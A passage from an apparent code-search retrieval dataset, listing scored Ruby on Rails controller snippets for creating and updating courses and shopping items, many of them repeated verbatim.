"text": "def new\n @camper = Camper.new\n @courses = Course.all.map{ |c| [c.name, c.id] }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @camper }\n end\n end",
"title": ""
},
{
"docid": "9580946cb0909f1739e7f54f8b0565cf",
"score": "0.7472616",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_success_path }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6370294a88ecb6d08c2cc2a79968c9a0",
"score": "0.7472521",
"text": "def new\n @course_level = CourseLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_level }\n end\n end",
"title": ""
},
{
"docid": "c1e8bf11fae969e1c98cd9950d40d19d",
"score": "0.7463604",
"text": "def new\n @course = Course.new(workshop_id: params[:workshop_id])\n @add_teacher = params[:add_teacher]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c68f0f178df4d261a1d22549edb4cfb7",
"score": "0.74566925",
"text": "def new\n @student = Student.new\n @course = Course.find_by_id(session[:course_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end",
"title": ""
},
{
"docid": "0e7443d62b91bae4c5cd6ae365e294dd",
"score": "0.7449547",
"text": "def new\n\t\tif(@new_course == nil)\n\t\t\t@new_course = Course.new\n\t\tend\n\tend",
"title": ""
},
{
"docid": "012c74199b9ae3b994ab76febfd310e3",
"score": "0.7442115",
"text": "def new\n @course = Course.new\n @course.group_id = @current_group.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "c4f87a9df27ad5a402eaae41623990cc",
"score": "0.74377257",
"text": "def new\n @schoolyear = Schoolyear.find(params[:schoolyear_id])\n @course = Course.new(\"schoolyear_id\" => @schoolyear.id);\n @sections = Section.where('schoolyear_id = ?', @schoolyear.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "fbde701cea783395258bf2f97a516a8d",
"score": "0.7409711",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to \"/courses/#{@course.id}/edit\", notice: 'Course was successfully created.' }\n #format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f57dba67bcdfe235db40d06815479c9c",
"score": "0.74007726",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_path, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3546949113efa636a26ee0d10e899e1f",
"score": "0.7386923",
"text": "def new\n @course = Course.by_account(@current_account).find(params[:course_id])\n @course_session = CourseSession.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_session }\n end\n end",
"title": ""
},
{
"docid": "e283b797da4fdd196b3b79446583a660",
"score": "0.73859954",
"text": "def new\n @quiz = Quiz.new\n @course = Course.find(params[:course_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quiz }\n end\n end",
"title": ""
},
{
"docid": "6b3459daebd90a70d7e89a9f8a0550f6",
"score": "0.7382",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0fb08abe9688d497c477a0ef364ae484",
"score": "0.7378037",
"text": "def create\n @course = Course.new(params[:course])\n\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, :notice => 'Course was successfully created.' }\n format.json { render :json => @course, :status => :created, :location => @course }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eebf33edf54ddd4c35b012177a73a8f5",
"score": "0.7365723",
"text": "def new\n @user_course = current_user.user_courses.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_course }\n end\n end",
"title": ""
},
{
"docid": "eebf33edf54ddd4c35b012177a73a8f5",
"score": "0.7365723",
"text": "def new\n @user_course = current_user.user_courses.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_course }\n end\n end",
"title": ""
},
{
"docid": "8d99228fe43218046debf36d4299b707",
"score": "0.73652",
"text": "def new\n @course = Course.new\n authorize! :create, @course\n # TODO static\n #@chapter = @course.chapters.build\n \n 1.times do \n chapter = @course.chapters.build\n 1.times { chapter.lectures.build }\n end\n \n #@chapters = @course.chapters\n #@chapters = @course.chapters.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"title": ""
},
{
"docid": "bea1ce63d94cb8e1985db10110f54afd",
"score": "0.7359496",
"text": "def new\n @lab_course_student = LabCourseStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_course_student }\n end\n end",
"title": ""
},
{
"docid": "a77283e4c9a55a59f23afe3530c40881",
"score": "0.73585695",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Course was successfully created.' }\n # format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n # format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "9bd70cf06672dd433dd8a2bcb891ee9e",
"score": "0.7355913",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "d702ea79da120e3ae33bc33ddff82323",
"score": "0.73506767",
"text": "def new\n @course = Course.new\n end",
"title": ""
},
{
"docid": "4444591568bda12e1c61c2129fff08bb",
"score": "0.73416364",
"text": "def new\n @course_module = CourseModule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_module }\n end\n end",
"title": ""
},
{
"docid": "825043e709f023f2ed4bccfa7569597a",
"score": "0.7339579",
"text": "def create\n @course = Course.new(params[:course])\n @course_id = params[:id]\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c19fb3fca22f0560d4a5d3edde5cb9e9",
"score": "0.7334603",
"text": "def new\n @members_in_course = MembersInCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @members_in_course }\n end\n end",
"title": ""
},
{
"docid": "4e2703a45a91b6f9246cb47bc2475f28",
"score": "0.73302114",
"text": "def create\n @course = current_user.courses.build(course_params)\n\n if @course.save\n render json: @course\n else\n @course_items = []\n end\n end",
"title": ""
},
{
"docid": "7cb2d5a19794344672d9caf3d56cdcf4",
"score": "0.7327797",
"text": "def new\n @course_state = CourseState.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_state }\n end\n end",
"title": ""
},
{
"docid": "305197cb50a893dc9fdbf10b87693173",
"score": "0.7308689",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_offering }\n end\n end",
"title": ""
},
{
"docid": "3c999034d0b2c8712bed84a47f66656b",
"score": "0.7307792",
"text": "def new\n @course = current_user.courses.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "6d042dce190e1ae82792b29ff924a36f",
"score": "0.73059523",
"text": "def create\n @course = Course.create!(course_params)\n render json: @course, status: 201\n end",
"title": ""
},
{
"docid": "385bcfdd7a956977731753aa043bdeb5",
"score": "0.7304219",
"text": "def new\n @course = Course.new\n respond_with @course\n end",
"title": ""
},
{
"docid": "1a805354813857737c6503021ff25f77",
"score": "0.7303188",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: t('successfully_created',resource: t('course')) }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9aef8f17064ff2cd7952832984edf3a6",
"score": "0.72944707",
"text": "def create\n @course = Course.new(params[:course])\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97ac4d66eed47048263b630a3f7dc324",
"score": "0.7293782",
"text": "def create\n @course = Course.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_path, notice: t('notice.created') }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
2a25a7544fbc8c1c105eb20cde9ba739 | PUT /shopping_items/1 PUT /shopping_items/1.xml | [
{
"docid": "86062b695963ddff54067c924df27a45",
"score": "0.6843295",
"text": "def update\n @shopping_item = ShoppingItem.find(params[:id])\n\n respond_to do |format|\n if @shopping_item.update_attributes(params[:shopping_item])\n format.html { redirect_to(@shopping_item, :notice => 'Shopping item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shopping_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "4de8d067c151eda0c5d4fabee90dd31d",
"score": "0.6731781",
"text": "def update_rest\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fd8842ed08fa1572950f3e78514aecf",
"score": "0.6588717",
"text": "def do_PUT(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n attributes = from_xml(resource, req.body)\n attributes['updated-at'] = Time.now.iso8601\n logger.debug \"Updating item with attributes: #{attributes.inspect}\"\n sdb_put_item(domain, attributes, true)\n raise WEBrick::HTTPStatus::OK\n end",
"title": ""
},
{
"docid": "c4f37e7732d2e246f0d63a10e5840c73",
"score": "0.6459287",
"text": "def update\n @item = Items.find(params[:item])\n\n respond_to do |format|\n if @items.update_attributes(params[:items])\n flash[:notice] = 'Items was successfully updated.'\n format.html { redirect_to(@items) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @items.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "477b364e740eace742e45ce0fae15718",
"score": "0.6421521",
"text": "def update\n @item = Item.find(params[:id])\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = APP_CONFIG[:item_flash_update]\n format.html { redirect_to item_path(@item) }\n #format.xml { head :ok }\n else\n render :action => 'edit'\n #format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7eeed48e7f05f1ef829e83baf9a334f8",
"score": "0.6419648",
"text": "def update_item(path, body, name)\n resp = session.patch(path, body)\n if resp.is_a?(Net::HTTPOK)\n Chef::Log.info(\"Updated keystone item '#{name}'\")\n else\n raise_error(resp, \"Unable to update item '#{name}'\", \"update_item\")\n end\nend",
"title": ""
},
{
"docid": "23b5f5e4dacfb330cb1e0ffd4590ef63",
"score": "0.63698906",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "43e29187ca64d190f9cdc94cc2f2ec5f",
"score": "0.6346101",
"text": "def item_update(order)\n HTTParty.put(\"http://localhost:8082/items/order\", :body => order)\n end",
"title": ""
},
{
"docid": "54e00793e6b033b608b266ba4bba45ff",
"score": "0.62990516",
"text": "def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end",
"title": ""
},
{
"docid": "2be47bcd74476395a2aac22fb2768901",
"score": "0.62859845",
"text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n flash[:notice] = 'Shopping was successfully updated.'\n format.html { redirect_to(@shopping) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shopping.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e5ae76aba5287cfb45b5a96612e342b",
"score": "0.62785536",
"text": "def update\n @item ||= Item.find(params[:id]) rescue Item.find_by_name(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37efd8f8bda22cf1a9d3727a18271577",
"score": "0.62782973",
"text": "def update\n respond_to do |format|\n if @shoppingitem.update(shoppingitem_params)\n format.html { redirect_to @shoppingitem, notice: \"Shoppingitem was successfully updated.\" }\n format.json { render :show, status: :ok, location: @shoppingitem }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @shoppingitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f05872934d5c31c1ce7855fc1eb68be8",
"score": "0.6265249",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37d6b28fbd29cf57200b93c22fdf2c34",
"score": "0.6255764",
"text": "def update_item token, item_id, name, description\n uri = URI.parse \"https://#{get_hostname(token)}/sf/v3/Items(#{item_id})\"\n puts uri\n \n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n \n item = {\"Name\"=>name, \"Description\"=>description}\n \n request = Net::HTTP::Patch.new uri.request_uri \n request[\"Content-Type\"] = \"application/json\"\n request[\"Authorization\"] = get_authorization_header(token)\n request.body = item.to_json\n \n response = http.request request\n puts \"#{response.code} #{response.message}\"\n \n if response.kind_of? Net::HTTPSuccess\n updated_item = JSON.parse response.body\n puts \"Updated Item: #{updated_item['Id']}\"\n end \nend",
"title": ""
},
{
"docid": "8798d0c92fa9d9037f93eaf0172dc975",
"score": "0.6250876",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8798d0c92fa9d9037f93eaf0172dc975",
"score": "0.6250876",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8798d0c92fa9d9037f93eaf0172dc975",
"score": "0.6250876",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8798d0c92fa9d9037f93eaf0172dc975",
"score": "0.6250876",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8798d0c92fa9d9037f93eaf0172dc975",
"score": "0.6250876",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c9a6c9fc7bb30067e31ac855582b9d3",
"score": "0.6245093",
"text": "def update_qty(shopping_list, item, quantity)\n\n\tadd_item(shopping_list, item, quantity)\n\nend",
"title": ""
},
{
"docid": "73df72463f94e25d06e2303e29613e0e",
"score": "0.6230559",
"text": "def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item }\n format.xml { head :ok }\n else\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b779d09e47cc3305588796c62bbb87d",
"score": "0.6228586",
"text": "def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with(@item)\n end",
"title": ""
},
{
"docid": "ab7b511e7fdb14f278ada05c46659bfc",
"score": "0.6197443",
"text": "def _update_item(http, headers, path, body, name)\n resp = retry_request(http, \"PATCH\", path, body, headers)\n if resp.is_a?(Net::HTTPOK)\n Chef::Log.info(\"Updated keystone item '#{name}'\")\n else\n _raise_error(resp, \"Unable to update item '#{name}'\", \"_update_item\")\n end\nend",
"title": ""
},
{
"docid": "5e7f56eb1e62b28a791b8dded85ac5c5",
"score": "0.6190018",
"text": "def update_rest\n @v1_item_usage = V1ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @v1_item_usage.update_attributes(params[:v1_item_usage])\n flash[:notice] = 'V1ItemUsage was successfully updated.'\n format.html { redirect_to(@v1_item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @v1_item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f12b84cc78dfb6479e5b1747d17627",
"score": "0.6175846",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2da58ee5157ce47eeb814cc73e55d53e",
"score": "0.6167371",
"text": "def update\n @item_api = ItemApi.find(params[:id])\n\n respond_to do |format|\n if @item_api.update_attributes(params[:item_api])\n format.html { redirect_to(@item_api, :notice => 'Item api was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_api.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6c6c102cee48660e4cdcfde5203259f2",
"score": "0.61614585",
"text": "def set_shoppingitem\n @shoppingitem = Shoppingitem.find(params[:id])\n end",
"title": ""
},
{
"docid": "0886720a82e037d1feaa9397bf1e4d5f",
"score": "0.6160038",
"text": "def update\n item = Item.find(params[\"id\"])\n item.update_attributes(items_params)\n respond_with item, json: item\n end",
"title": ""
},
{
"docid": "cbb6a3e6dae8fa56ff0831efbe1a9e7c",
"score": "0.6147482",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to('/list/' + @item.list.hash_id) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d7e47ebdaf4d1cb3c18807f3cddd068",
"score": "0.61363643",
"text": "def update_item\n @item = Item.find(params[:id])\n @item.update(params[:item])\n redirect \"/items/#{@item.id}\"\nend",
"title": ""
},
{
"docid": "9de3ebade5a6b2610f4dfdfd5f7eae52",
"score": "0.6114765",
"text": "def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to(@item, :notice => 'Item Successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "b544e1fd147e927ddb70a09a8451913b",
"score": "0.6105388",
"text": "def update\n @Item = Item.find(params[:id])\n\n respond_to do |format|\n if @Item.update_attributes(params[:Item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@Item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @Item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53e67d6670f631bdaf91201385938167",
"score": "0.6089287",
"text": "def update\n @shopping_list_item = @shopping_list.shopping_list_items.find(params[:id])\n respond_to do |format|\n if @shopping_list_item.update_attributes(params[:shopping_list_item])\n format.html { redirect_to shopping_list_path(@shopping_list_item.shopping_list_id), notice: 'Shopping list item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @shopping_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9962eec92c02ee1216ce834e16f87fed",
"score": "0.60883003",
"text": "def update\n @shopping_cart_item = ShoppingCartItem.find(params[:id])\n\n respond_to do |format|\n if @shopping_cart_item.update_attributes(params[:shopping_cart_item])\n format.html { redirect_to(@shopping_cart_item, :notice => 'Shopping cart item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shopping_cart_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "98cce8bcd6cd5afafabe442177d74750",
"score": "0.6076742",
